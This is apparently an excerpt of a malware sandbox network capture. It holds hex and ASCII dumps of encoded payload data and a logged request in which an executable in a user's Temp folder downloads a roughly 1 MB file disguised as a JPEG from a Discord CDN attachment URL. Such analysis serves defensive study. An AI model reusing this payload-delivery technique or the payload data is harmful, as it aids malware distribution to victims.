73 20 4f 73 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 73 4c 73 20 50 6b 7a 20 7a 4f 20 4f 6b 20 4f 7a 20 57 6b 20 57 6b 20 
7a 4f 20 50 55 55 20 50 50 42 20 6c 4c 20 50 6b 42 20 57 20 4f 7a 20 50 42 42 20 57 4f 20 55 6b 20 50 50 4f 20 50 50 42 
20 50 6b 7a 20 50 73 42 20 57 6b 20 73 6b 20 57 50 20 57 42 20 7a 4f 20 57 4c 20 50 50 42 20 55 55 20 50 50 73 20 7a 
7a 20 4f 55 20 50 6c 4c 20 57 4f 20 73 6b 55 20 50 50 73 20 73 50 73 20 50 6b 55 20 73 4f 57 20 4f 7a 20 50 6c 73 20 57 
50 20 50 42 7a 20 7a 42 20 50 55 7a 20 50 50 42 20 73 
Data Ascii: z PPl Ok PPs lL Oz PPU WO zO PPO PPl PkU Psl Wk sk Ok WO zO PPO PPl sWO PPL ss Os Wk WO zO 
PPO sLs Pkz zO Ok Oz Wk Wk zO PUU PPB lL PkB W Oz PBB WO Uk PPO PPB Pkz PsB Wk sk WP WB zO WL PPB 
UU PPs zz OU PlL WO skU PPs sPs PkU sOW Oz Pls WP PBz zB PUz PPB s

2021-10-29 15:55:28 UTC 1470 IN Data Raw: 42 42 20 7a 4c 20 55 50 20 4c 55 20 6c 42 20 73 4c 20 57 6b 20 4f 6c 20 50 6b 20 50 50 50 20 73 20 57 4f 20 
50 6b 4f 20 6c 42 20 6c 42 20 57 6b 20 4f 6c 20 50 50 20 50 50 50 20 73 20 57 4f 20 50 6b 4f 20 57 50 20 4c 20 50 73 20 
73 57 20 55 4f 20 7a 50 20 7a 6b 20 55 6b 20 4f 55 20 42 73 20 73 6b 20 4c 20 73 4c 20 6c 50 20 7a 50 20 7a 57 20 7a 4c 
20 4c 55 20 6c 42 20 73 4c 20 57 6b 20 4f 6c 20 50 50 20 50 50 50 20 73 20 57 4f 20 50 6b 4f 20 55 73 20 73 73 20 73 57 
20 4c 50 20 42 4f 20 50 4f 20 7a 6b 20 50 6b 57 20 50 50 20 42 42 20 50 50 6c 20 7a 50 20 6c 7a 20 42 42 20 50 50 50 20 
50 6b 55 20 42 20 7a 4f 20 73 50 20 4f 73 20 4f 6b 20 4f 6c 20 7a 50 20 50 50 50 20 73 73 42 20 50 4f 6b 20 50 50 20 42 
42 20 50 50 6c 20 55 6b 20 42 57 20 50 6b 20 50 50 42 20 
Data Ascii: BB zL UP LU lB sL Wk Ol Pk PPP s WO PkO lB lB Wk Ol PP PPP s WO PkO WP L Ps sW UO zP zk Uk OU 
Bs sk L sL lP zP zW zL LU lB sL Wk Ol PP PPP s WO PkO Us ss sW LP BO PO zk PkW PP BB PPl zP lz BB PPP PkU B 
zO sP Os Ok Ol zP PPP ssB POk PP BB PPl Uk BW Pk PPB 

2021-10-29 15:55:28 UTC 1486 IN Data Raw: 20 6c 6b 20 7a 4f 20 6c 50 20 50 50 20 57 20 50 50 42 20 57 4f 20 50 6c 20 42 55 20 42 55 20 7a 7a 20 57 50 
20 4f 20 4c 20 42 20 4c 20 73 4c 20 42 4f 20 42 6c 20 4f 4f 20 57 4f 20 50 6b 20 73 20 50 50 55 20 6b 20 55 42 20 57 4f 20 
6c 50 20 55 57 20 57 73 20 50 50 73 20 50 50 6c 20 42 20 73 20 73 73 20 42 4f 20 57 73 20 55 4f 20 42 55 20 4c 20 4f 20 
50 50 42 20 4f 20 50 7a 20 42 42 20 42 6c 20 4f 4c 20 50 50 73 20 50 6b 20 50 50 57 20 42 20 50 57 20 50 7a 20 42 55 
20 6c 6c 20 4f 4f 20 42 4f 20 4f 20 50 50 6c 20 57 20 6c 20 50 6b 50 20 4f 55 20 57 50 20 55 4c 20 57 4c 20 6b 20 50 20 
4c 20 57 20 55 42 20 57 4f 20 42 55 20 4f 6c 20 42 4f 20 50 50 20 50 20 50 50 20 50 4f 20 55 6c 20 42 57 20 6c 6b 20 55 
50 20 57 50 20 50 50 4c 20 4c 20 57 20 50 50 73 20 7a 4f 
Data Ascii:  lk zO lP PP W PPB WO Pl BU BU zz WP O L B L sL BO Bl OO WO Pk s PPU k UB WO lP UW Ws PPs PPl B 
s ss BO Ws UO BU L O PPB O Pz BB Bl OL PPs Pk PPW B PW Pz BU ll OO BO O PPl W l PkP OU WP UL WL k P L W 
UB WO BU Ol BO PP P PP PO Ul BW lk UP WP PPL L W PPs zO
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2021-10-29 15:55:28 UTC 1502 IN Data Raw: 20 4c 57 20 7a 20 73 20 42 57 20 7a 55 20 55 4c 20 7a 7a 20 7a 4f 20 57 4c 20 50 42 20 73 57 20 4c 55 20 55 
50 20 55 4f 20 7a 42 20 7a 55 20 4c 57 20 50 20 4c 57 20 7a 20 73 20 42 57 20 7a 55 20 55 4c 20 7a 7a 20 7a 4f 20 4f 20 
50 42 20 4c 50 20 4c 20 55 50 20 55 57 20 55 73 20 57 4f 20 57 50 20 73 4c 20 50 20 57 6b 20 4f 55 20 6c 50 20 42 7a 20 
55 6b 20 7a 4c 20 57 7a 20 42 20 73 7a 20 50 4f 20 50 6c 20 6c 6b 20 7a 55 20 55 4c 20 7a 7a 20 7a 4f 20 4f 73 20 42 4f 
20 55 4c 20 6c 4c 20 55 6c 20 7a 57 20 42 4f 20 42 4f 20 42 50 20 50 6c 20 50 42 20 4f 42 20 73 50 20 42 4f 20 42 7a 20 
55 50 20 7a 6b 20 42 50 20 50 6c 20 73 6b 20 73 57 20 73 50 20 50 50 57 20 42 55 20 6c 6b 20 55 4f 20 4f 55 20 73 7a 20 
50 20 4f 20 50 55 20 7a 4c 20 42 7a 20 55 50 20 7a 55 20 
Data Ascii:  LW z s BW zU UL zz zO WL PB sW LU UP UO zB zU LW P LW z s BW zU UL zz zO O PB LP L UP UW Us 
WO WP sL P Wk OU lP Bz Uk zL Wz B sz PO Pl lk zU UL zz zO Os BO UL lL Ul zW BO BO BP Pl PB OB sP BO Bz UP zk 
BP Pl sk sW sP PPW BU lk UO OU sz P O PU zL Bz UP zU 

2021-10-29 15:55:28 UTC 1518 IN Data Raw: 57 4f 20 7a 4c 20 55 4c 20 55 50 20 55 6b 20 4f 57 20 50 50 4f 20 57 73 20 4c 20 55 20 57 6b 20 55 55 20 7a 
6c 20 55 6b 20 4f 55 20 50 6c 20 50 20 4c 73 20 50 6c 20 55 73 20 6c 4c 20 57 6b 20 50 50 42 20 57 42 20 73 55 20 73 
73 20 42 20 57 50 20 55 4c 20 42 4f 20 6c 57 20 57 4f 20 4f 55 20 73 7a 20 50 20 4c 50 20 4c 50 20 42 42 20 6c 4c 20 57 
6b 20 50 73 73 20 57 55 20 50 55 20 50 6c 20 4c 4c 20 73 57 20 7a 6b 20 42 42 20 7a 4c 20 42 7a 20 4f 57 20 50 50 4f 20 
57 4f 20 73 20 73 7a 20 55 4f 20 7a 57 20 7a 50 20 42 42 20 73 57 20 73 4c 20 73 4f 20 73 20 73 20 6c 57 20 4f 7a 20 50 
50 4c 20 55 4f 20 57 4c 20 73 7a 20 73 6c 20 7a 20 73 7a 20 50 50 42 20 7a 50 20 7a 50 20 42 42 20 57 55 20 6b 20 50 
73 20 50 6b 55 20 4c 57 20 7a 6c 20 55 4f 20 7a 42 20 7a 4c 20 
Data Ascii: WO zL UL UP Uk OW PPO Ws L U Wk UU zl Uk OU Pl P Ls Pl Us lL Wk PPB WB sU ss B WP UL BO lW WO 
OU sz P LP LP BB lL Wk Pss WU PU Pl LL sW zk BB zL Bz OW PPO WO s sz UO zW zP BB sW sL sO s s lW Oz PPL 
UO WL sz sl z sz PPB zP zP BB WU k Ps PkU LW zl UO zB zL 

2021-10-29 15:55:28 UTC 1534 IN Data Raw: 7a 20 50 6b 50 20 50 50 42 20 4f 7a 20 55 50 20 57 4f 20 57 42 20 50 50 4f 20 50 42 20 50 6b 55 20 4c 57 20 
57 6b 20 6c 4c 20 57 6b 20 42 55 20 7a 4f 20 42 20 50 50 6c 20 7a 20 50 50 73 20 55 57 20 4f 7a 20 57 6b 20 50 7a 73 20 
73 57 50 20 4c 4c 20 50 50 6c 20 42 73 20 50 50 73 20 6c 57 20 4f 7a 20 42 57 20 57 4f 20 4c 73 20 50 50 4f 20 50 42 20 
50 6b 55 20 73 55 20 57 6b 20 4c 6b 20 57 6b 20 50 50 57 20 7a 4f 20 42 73 20 50 50 6c 20 4f 6b 20 50 50 73 20 50 50 4c 
20 4f 7a 20 50 6b 73 20 57 4f 20 50 50 42 20 50 50 4f 20 55 57 20 50 6b 55 20 7a 6b 20 57 6b 20 50 50 7a 20 57 6b 20 50 
6b 6b 20 7a 4f 20 4c 4c 20 50 50 6c 20 73 6b 20 50 50 73 20 42 57 20 4f 7a 20 6c 6b 20 57 4f 20 4f 55 20 50 50 4f 20 73 
4f 20 50 6b 55 20 55 4f 20 57 6b 20 50 73 6c 20 57 6b 20 
Data Ascii: z PkP PPB Oz UP WO WB PPO PB PkU LW Wk lL Wk BU zO B PPl z PPs UW Oz Wk Pzs sWP LL PPl Bs 
PPs lW Oz BW WO Ls PPO PB PkU sU Wk Lk Wk PPW zO Bs PPl Ok PPs PPL Oz Pks WO PPB PPO UW PkU zk Wk 
PPz Wk Pkk zO LL PPl sk PPs BW Oz lk WO OU PPO sO PkU UO Wk Psl Wk 

2021-10-29 15:55:28 UTC 1550 IN Data Raw: 50 7a 6b 20 50 42 50 20 50 50 55 20 7a 57 20 50 6b 55 20 55 7a 20 50 6c 42 20 73 6b 50 20 57 73 20 73 73 
20 7a 57 20 55 42 20 73 4f 6c 20 50 4f 4f 20 50 73 6b 20 57 7a 20 50 4c 57 20 6c 73 20 50 6b 42 20 73 20 50 6b 6c 20 42 
57 20 50 4f 50 20 73 4f 55 20 57 7a 20 50 73 7a 20 50 4c 20 50 6b 57 20 4f 4c 20 55 55 20 50 42 6b 20 50 6b 4c 20 6c 4f 
20 57 7a 20 50 20 50 4f 50 20 50 4f 20 73 20 73 73 4c 20 42 6c 20 4c 57 20 42 55 20 57 50 20 4f 7a 20 57 50 20 57 57 20 
7a 57 20 50 50 73 20 50 50 42 20 50 50 6b 20 50 50 42 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 6b 20 50 50 57 20 50 
50 6c 20 50 6b 55 20 50 50 73 20 57 4f 20 57 6b 20 57 6b 20 57 4f 20 7a 4f 20 50 50 7a 20 50 50 7a 20 50 6b 55 20 50 50 
73 20 57 6b 20 57 73 20 57 4f 20 57 4f 20 7a 4f 20 50 50 4f 20 
Data Ascii: Pzk PBP PPU zW PkU Uz PlB skP Ws ss zW UB sOl POO Psk Wz PLW ls PkB s Pkl BW POP sOU Wz Psz 
PL PkW OL UU PBk PkL lO Wz P POP PO s ssL Bl LW BU WP Oz WP WW zW PPs PPB PPk PPB Wk Oz Wk WO zk 
PPW PPl PkU PPs WO Wk Wk WO zO PPz PPz PkU PPs Wk Ws WO WO zO PPO 

2021-10-29 15:55:28 UTC 1566 IN Data Raw: 57 4f 20 50 73 73 20 50 50 4f 20 4f 42 20 50 6b 55 20 4f 4f 20 57 6b 20 6c 50 20 57 6b 20 50 6b 50 20 7a 4f 20 
42 20 50 50 6c 20 4c 50 20 50 50 73 20 55 50 20 4f 7a 20 55 73 20 57 4f 20 57 50 20 50 50 4f 20 7a 7a 20 50 6b 55 20 4f 
57 20 57 6b 20 6c 57 20 57 6b 20 4f 20 7a 4f 20 4c 4c 20 50 50 6c 20 73 57 20 50 50 73 20 42 4f 20 4f 7a 20 55 50 20 57 
4f 20 57 7a 20 50 50 4f 20 50 7a 20 50 6b 55 20 6c 50 20 57 6b 20 6c 6c 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 
6c 20 50 6b 55 20 50 50 73 20 42 42 20 4f 7a 20 42 4f 20 57 4f 20 57 55 20 50 50 4f 20 50 55 20 50 6b 55 20 73 57 20 57 
6b 20 55 73 20 57 6b 20 7a 4c 20 7a 4f 20 50 20 50 50 6c 20 4f 55 20 50 50 73 20 50 6b 50 20 4f 7a 20 55 50 20 57 4f 20 
57 7a 20 50 50 4f 20 50 6c 20 50 6b 55 20 4c 50 20 57 
Data Ascii: WO Pss PPO OB PkU OO Wk lP Wk PkP zO B PPl LP PPs UP Oz Us WO WP PPO zz PkU OW Wk lW Wk O 
zO LL PPl sW PPs BO Oz UP WO Wz PPO Pz PkU lP Wk ll Wk WO zO PPO PPl PkU PPs BB Oz BO WO WU PPO PU 
PkU sW Wk Us Wk zL zO P PPl OU PPs PkP Oz UP WO Wz PPO Pl PkU LP W

2021-10-29 15:55:28 UTC 1582 IN Data Raw: 20 57 6b 20 50 6b 6b 20 7a 4f 20 73 4c 20 50 50 6c 20 73 55 20 50 50 73 20 55 4f 20 4f 7a 20 7a 4c 20 57 4f 20
57 57 20 50 50 4f 20 50 42 20 50 6b 55 20 4c 20 57 6b 20 7a 57 20 57 6b 20 42 7a 20 7a 4f 20 73 7a 20 50 50 6c 20 50 73 
20 50 50 73 20 55 57 20 4f 7a 20 7a 6c 20 57 4f 20 7a 20 50 50 4f 20 4f 6b 20 50 6b 55 20 55 57 20 57 6b 20 6c 6b 20 57 
6b 20 7a 6c 20 7a 4f 20 4c 4c 20 50 50 6c 20 73 57 20 50 50 73 20 42 4f 20 4f 7a 20 55 50 20 57 4f 20 57 7a 20 50 50 4f 
20 50 7a 20 50 6b 55 20 55 4f 20 57 6b 20 55 7a 20 57 6b 20 7a 4c 20 7a 4f 20 73 20 50 50 6c 20 50 20 50 50 73 20 7a 4c 
20 4f 7a 20 7a 50 20 57 4f 20 4f 55 20 50 50 4f 20 73 57 20 50 6b 55 20 57 20 57 6b 20 7a 57 20 57 6b 20 50 73 73 20 7a 
4f 20 73 55 20 50 50 6c 20 50 4f 20 50 50 73 20 7a 4c 
Data Ascii:  Wk Pkk zO sL PPl sU PPs UO Oz zL WO WW PPO PB PkU L Wk zW Wk Bz zO sz PPl Ps PPs UW Oz zl WO 
z PPO Ok PkU UW Wk lk Wk zl zO LL PPl sW PPs BO Oz UP WO Wz PPO Pz PkU UO Wk Uz Wk zL zO s PPl P PPs zL 
Oz zP WO OU PPO sW PkU W Wk zW Wk Pss zO sU PPl PO PPs zL

2021-10-29 15:55:28 UTC 1598 IN Data Raw: 20 73 57 57 20 73 57 57 20 55 7a 20 73 57 57 20 73 57 57 20 73 57 57 20 50 50 42 20 73 57 57 20 73 57 57 
20 73 57 57 20 50 4f 42 20 73 57 57 20 73 57 57 20 73 57 57 20 50 57 4c 20 73 57 57 20 73 57 57 20 73 57 57 20 73 73 
73 20 57 7a 20 55 20 50 73 20 6c 20 4c 50 20 73 57 4f 20 4f 7a 20 4c 20 73 4c 20 4f 4c 20 50 20 6c 20 42 55 20 73 20 6b 
20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 50 4c 73 20 73 57 57 20 73 57 57 20 73 57 57 20 73 73 73 20 4c 73 20 50 50 6c 2
0 4c 6c 20 6b 20 6b 20 50 20 73 6b 20 73 57 4f 20 4c 20 6c 20 73 73 20 73 57 4f 20 4c 20 55 57 20 7a 20 73 73 20 73 57 
4f 20 50 20 55 57 20 73 57 4f 20 50 6c 20 50 50 42 20 4c 6c 20 6b 20 6b 20 50 20 4f 6b 20 4f 4c 20 6b 20 6b 20 50 6b 20 
73 73 73 20 50 55 7a 20 4c 73 20 57 50 20 6b 20 50 6b 20 50 73 7a 
Data Ascii:  sWW sWW Uz sWW sWW sWW PPB sWW sWW sWW POB sWW sWW sWW PWL sWW sWW sWW sss 
Wz U Ps l LP sWO Oz L sL OL P l BU s k k k k k k k PLs sWW sWW sWW sss Ls PPl Ll k k P sk sWO L l ss sWO L UW z 
ss sWO P UW sWO Pl PPB Ll k k P Ok OL k k Pk sss PUz Ls WP k Pk Psz

2021-10-29 15:55:28 UTC 1614 IN Data Raw: 55 6c 20 50 50 6b 20 55 55 20 50 6b 50 20 6b 20 6c 50 20 50 6b 50 20 50 50 42 20 6c 73 20 55 6c 20 50 50 57 
20 50 6b 4f 20 42 6c 20 50 50 50 20 50 6b 6b 20 50 6b 50 20 6b 20 6c 4c 20 50 50 6b 20 50 50 7a 20 50 50 50 20 50 6b 
6c 20 50 6b 50 20 6b 20 7a 73 20 50 50 6c 20 50 50 6b 20 50 50 42 20 50 6b 57 20 50 6b 55 20 50 6b 50 20 6c 6b 20 50 
6b 57 20 50 6b 50 20 50 6b 7a 20 50 6b 6b 20 6c 73 20 55 6c 20 50 50 6b 20 50 6b 6b 20 50 6b 7a 20 50 6b 50 20 6b 20 
7a 73 20 50 50 6c 20 50 50 6b 20 50 50 42 20 50 6b 57 20 50 6b 55 20 50 6b 50 20 7a 4f 20 50 73 50 20 50 50 73 20 50 
6b 50 20 6c 73 20 55 6c 20 50 50 6b 20 50 6b 6b 20 50 6b 7a 20 50 6b 50 20 6b 20 6c 50 20 50 6b 50 20 50 50 42 20 7a 
4f 20 50 73 50 20 50 50 73 20 50 6b 50 20 6c 6b 20 50 50 4f 20 50 50 50 
Data Ascii: Ul PPk UU PkP k lP PkP PPB ls Ul PPW PkO Bl PPP Pkk PkP k lL PPk PPz PPP Pkl PkP k zs PPl PPk PPB 
PkW PkU PkP lk PkW PkP Pkz Pkk ls Ul PPk Pkk Pkz PkP k zs PPl PPk PPB PkW PkU PkP zO PsP PPs PkP ls Ul PPk 
Pkk Pkz PkP k lP PkP PPB zO PsP PPs PkP lk PPO PPP

Timestamp
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2021-10-29 15:55:28 UTC 1630 IN Data Raw: 73 20 50 7a 6c 20 73 73 4f 20 50 42 4c 20 50 57 6c 20 73 73 4f 20 50 42 73 20 50 6c 42 20 73 73 4f 20 50 42 
73 20 50 6c 7a 20 73 73 4f 20 50 42 73 20 50 6c 4f 20 73 73 4f 20 50 42 73 20 50 6c 7a 20 6b 20 73 4c 55 20 50 42 7a 20 
50 4c 4c 20 73 4c 55 20 50 42 7a 20 50 57 6c 20 73 4c 55 20 50 42 6c 20 50 42 57 20 73 4c 55 20 50 42 7a 20 50 4c 6c 
20 73 4c 55 20 50 42 7a 20 50 4f 6b 20 73 4c 55 20 50 42 6c 20 50 57 57 20 73 4c 55 20 50 42 6c 20 50 57 73 20 73 4c 55
20 50 42 7a 20 50 4c 42 20 73 4c 55 20 50 42 7a 20 50 4c 4f 20 73 4c 55 20 50 42 7a 20 50 4c 57 20 73 4c 55 20 50 42 7a 
20 50 4c 6c 20 73 4c 55 20 50 42 7a 20 50 4c 42 20 73 4c 55 20 50 42 6c 20 50 57 6c 20 73 4c 55 20 50 42 7a 20 50 4f 42 
20 73 4c 55 20 50 42 6c 20 50 6c 7a 20 6b 20 73 4c 55 20 50 
Data Ascii: s Pzl ssO PBL PWl ssO PBs PlB ssO PBs Plz ssO PBs PlO ssO PBs Plz k sLU PBz PLL sLU PBz PWl sLU PB
l PBW sLU PBz PLl sLU PBz POk sLU PBl PWW sLU PBl PWs sLU PBz PLB sLU PBz PLO sLU PBz PLW sLU PBz PLl 
sLU PBz PLB sLU PBl PWl sLU PBz POB sLU PBl Plz k sLU P

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.6 49835 162.159.134.233 443 C:\Users\user\AppData\Local\Temp\60DF.exe

Timestamp
kBytes
transferred Direction Data

2021-10-29 15:55:36 UTC 1644 OUT GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

2021-10-29 15:55:36 UTC 1644 IN HTTP/1.1 200 OK
Date: Fri, 29 Oct 2021 15:55:36 GMT
Content-Type: image/jpeg
Content-Length: 1023400
Connection: close
CF-Ray: 6a5d96cedd436910-FRA
Accept-Ranges: bytes
Age: 271232
Cache-Control: public, max-age=31536000
ETag: "a79ffe2a90ab83e54cd38dd94a2b6a6d"
Expires: Sat, 29 Oct 2022 15:55:36 GMT
Last-Modified: Tue, 26 Oct 2021 11:56:33 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1635249393939568
x-goog-hash: crc32c=mLSBFQ==
x-goog-hash: md5=p5/+KpCrg+VM043ZSitqbQ==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 1023400
X-GUploader-UploadID: ADPycduXLAU0rhkOYYdjTYv8nzQOrUiGMR0rq3qWR-Mu3t2dKo7sgrujSRwPDi2ARPYG
wmCnqDDiBBlucDqiDRky3RaT0EIS3w
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iJlkgbibLIMSlUGiMfCZwejwabfzDvXFxSZllkmxI3
wWuo1BmEa92bGlHdRAk3E0QtaFw98JQwDDJIuBV187YaGDPB5GPpW4rl%2Bn7XSu4oQqW7RJFCi4Dtzlk8L5FAD9RT
GrlQ%3D%3D"}],"group":"cf-nel","max_age":604800}

2021-10-29 15:55:36 UTC 1645 IN Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 
22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 
6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a 
Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

2021-10-29 15:55:36 UTC 1645 IN Data Raw: 78 4f 6f 45 4b 59 52 74 6b 51 2d 74 74 20 51 78 20 4f 4b 4b 20 78 20 45 20 78 20 78 20 78 20 4b 20 78 20 78 
20 78 20 6f 59 59 20 6f 59 59 20 78 20 78 20 4f 6b 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 52 4b 20 78 20 78 20 
78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 
20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 4f 6f 6b 20 78 20 78 20 78 20 4f 4b 20 
45 4f 20 4f 6b 52 20 4f 4b 20 78 20 4f 6b 78 20 51 20 6f 78 59 20 45 45 20 4f 6b 4b 20 4f 20 74 52 20 6f 78 59 20 45 45 20 
6b 4b 20 4f 78 4b 20 4f 78 59 20 4f 4f 59 20 45 6f 20 4f 4f 6f 20 4f 4f 4b 20 4f 4f 4f 20 4f 78 45 20 4f 4f 4b 20 51 74 20 4f 78
51 20 45 6f 20 51 51 20 51 74 20 4f 4f 78 20 4f 
Data Ascii: xOoEKYRtkQ-tt Qx OKK x E x x x K x x x oYY oYY x x OkK x x x x x x x RK x x x x x x x x x x x x x x x x x x x x 
x x x x x x x x x x x x x x x Ook x x x OK EO OkR OK x Okx Q oxY EE OkK O tR oxY EE kK OxK OxY OOY Eo OOo OOK 
OOO OxE OOK Qt OxQ Eo QQ Qt OOx O

2021-10-29 15:55:36 UTC 1646 IN Data Raw: 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 
78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 6f 59 20 
4b 78 20 6f 6f 51 20 4f 78 51 20 4f 4f 59 20 59 78 20 4b 6b 20 59 78 20 59 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4b 52 
20 4f 4b 45 20 59 78 20 4b 6b 20 4f 45 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f
6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 
20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 
51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 
Data Ascii:  x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x oY Kx ooQ OxQ OOY Yx Kk Yx Yx kK OOK OOt 
OKR OKE Yx Kk OEk YK kK OOK OOt OxQ OOo Yx OOo Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ 
OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx 
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2021-10-29 15:55:36 UTC 1648 IN Data Raw: 51 20 4f 4f 6f 20 59 78 20 4f 45 6f 20 4f 6b 45 20 59 59 20 6b 4b 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 4f 4f 6f 20 
59 78 20 4f 6b 4b 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 
59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 6b 20 51 
4f 20 45 4f 20 45 20 52 4b 20 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 74 6b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 
6f 4b 78 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 51 78 20 4b 51 20 59 78 20 59 4b 
20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 59 45 2
0 4f 78 51 20 4f 4f 6f 20 4f 4f 4b 
Data Ascii: Q OOo Yx OEo OkE YY kK OOK kY OxQ OOo Yx OkK YO YK kK OOk OOt OxQ OOo Yx Kk Yx YK kK OOK 
OOt OxQ OOo Yx Kk Ok YK kK Ok QO EO E RK kE Yx YK kK Otk OOk OxQ OOo Yx oKx YO YK kK OOk OOt OxQ OOo 
OQx KQ Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK YE OxQ OOo OOK

2021-10-29 15:55:36 UTC 1649 IN Data Raw: 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 
59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 
4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 
4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 
59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 
4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 2
0 4f 4f 6f 20 59 78 20 4b 6b 20 59 
Data Ascii: Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ 
OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx 
Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Y

2021-10-29 15:55:36 UTC 1650 IN Data Raw: 59 52 20 45 51 20 45 74 20 4b 74 20 6f 4f 74 20 4b 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 6f 45 20 45 6b 20 
52 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 59 20 45 4f 20 4b 4f 20 59 78 20 4b 6b 20 52 52 20 74 6f 20 74 4b 20 4f 4f 4b 20 4f 
4f 74 20 4f 78 45 20 6b 6b 20 4b 59 20 4b 6b 20 59 78 20 52 78 20 6f 4b 52 20 6b 74 20 51 6b 20 45 4f 20 4f 20 59 78 20 
4b 6b 20 52 52 20 52 6b 20 6f 59 4f 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 
4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 6f 20 52 6b 20 4f 4b 74 20 4f 4f 4b 20 4f 4f 74 
20 6f 51 20 6f 20 59 45 20 4b 51 20 59 78 20 74 78 20 4b 6f 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 4b 
